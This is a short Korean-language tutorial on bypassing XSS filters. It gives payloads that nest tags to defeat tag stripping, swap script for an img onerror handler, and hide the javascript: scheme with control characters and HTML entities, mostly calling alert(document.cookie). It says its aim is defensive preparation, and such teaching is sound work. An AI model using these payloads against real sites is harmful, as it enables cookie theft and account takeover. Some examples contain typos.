- XSS 공격을 방어하기 위한 다양한 패치와 필터링이 존재합니다.
- 하지만 XSS 방어가 올바르게 수행되지 않을 경우 이를 우회할 수 있는 방법도 다양합니다.
- 이러한 우회 XSS 공격에 대비할 필요성이 있어서 XSS 우회 방법에 대해 설명합니다.
<script>
문자가 필터링 되어 있는 경우
- XSS 방어 기법 중에
<script>
태그가 입력되는 것을 방지하기 위해 <script>
문자를 필터링 하는 방식을 활용합니다.
- 이 방식은 필터링 될 것을 예상하여 이중으로 스크립트를 입력하는 방식입니다.
# XSS 우회 전
스크립트 입력 : <script>alert(document.cookie)</script>
스크립트 필터링 : alert(document.cookie)
# XSS 우회 방식
스크립트 입력 : <scr<script>ipt>alert(document.cookie)</scr<script>ipt>
스크립트 필터링 : <script>alert(document.cookie)</script>
<script>
태그가 필터링 될 것을 예상하여, <scr<script>ipt>
로 입력하여 내부의 <script>
만 필터링 되게 하는 방식입니다.
<script>
태그 뿐만 아니라 필터링 되어있는 모든 태그에 대해 적용할 수 있습니다.
- 예, onerror → ononerrorerror 등
<script>
각 문자 필터링 되어 있는 경우
<script>
에 해당하는 각 문자가 필터링되어 script
스크립트를 사용할 수 없는 경우
- 이를 대체하는 다른 스크립트 구문을 입력합니다.
# XSS 우회 방식
<script> 스크립트 입력 : <script>(document.cookie)</script>
<img> 스크립트 입력 : <img src=x onerror=alert(docuemnt.cookie)>
<script>
태그를 <img>
태그로 대체하여 같은 기능을 실행하는 구문입니다.
<img>
스크립트에서 올바르지 않은 이미지 경로 (src=x)일 경우 에러를 발생시켜 alert를 실행하는 스크립트입니다.
“javascript:” 스키마 필터링 되어 있는 경우
- javascript: 스키마는 URL 로드 시 자바스크립트 코드를 실행할 수 있기 때문에 “javascript:” 스키마가 필터링 되어 있는 경우
- 특수 문자를 포함하거나 HTML Entity Encoding을 통해 우회할 수 있습니다.
# 특수 문자를 포함한 우회 (\x01, \x04, \t)
<a href="\1\4jAVasC\triPT:alert()">alert!</a>
<iframe src="\1\4jAVasC\triPT:alert()">
# HTML Entity Encoding을 통한 우회
<a href="\1JavasCr\tip&tab;:alert(document.domain);">alert!</a>
<iframe src="\1JavasCr\tip&tab;:alert();">
- 위와 같이 “javascript:” 스키마가 필터링 되어 있을 경우 특수 문자 또는 HTML Entity Encoding을 통해 우회할 수 있습니다.
Reference
https://limvo.tistory.com/32
https://lyk00331.tistory.com/81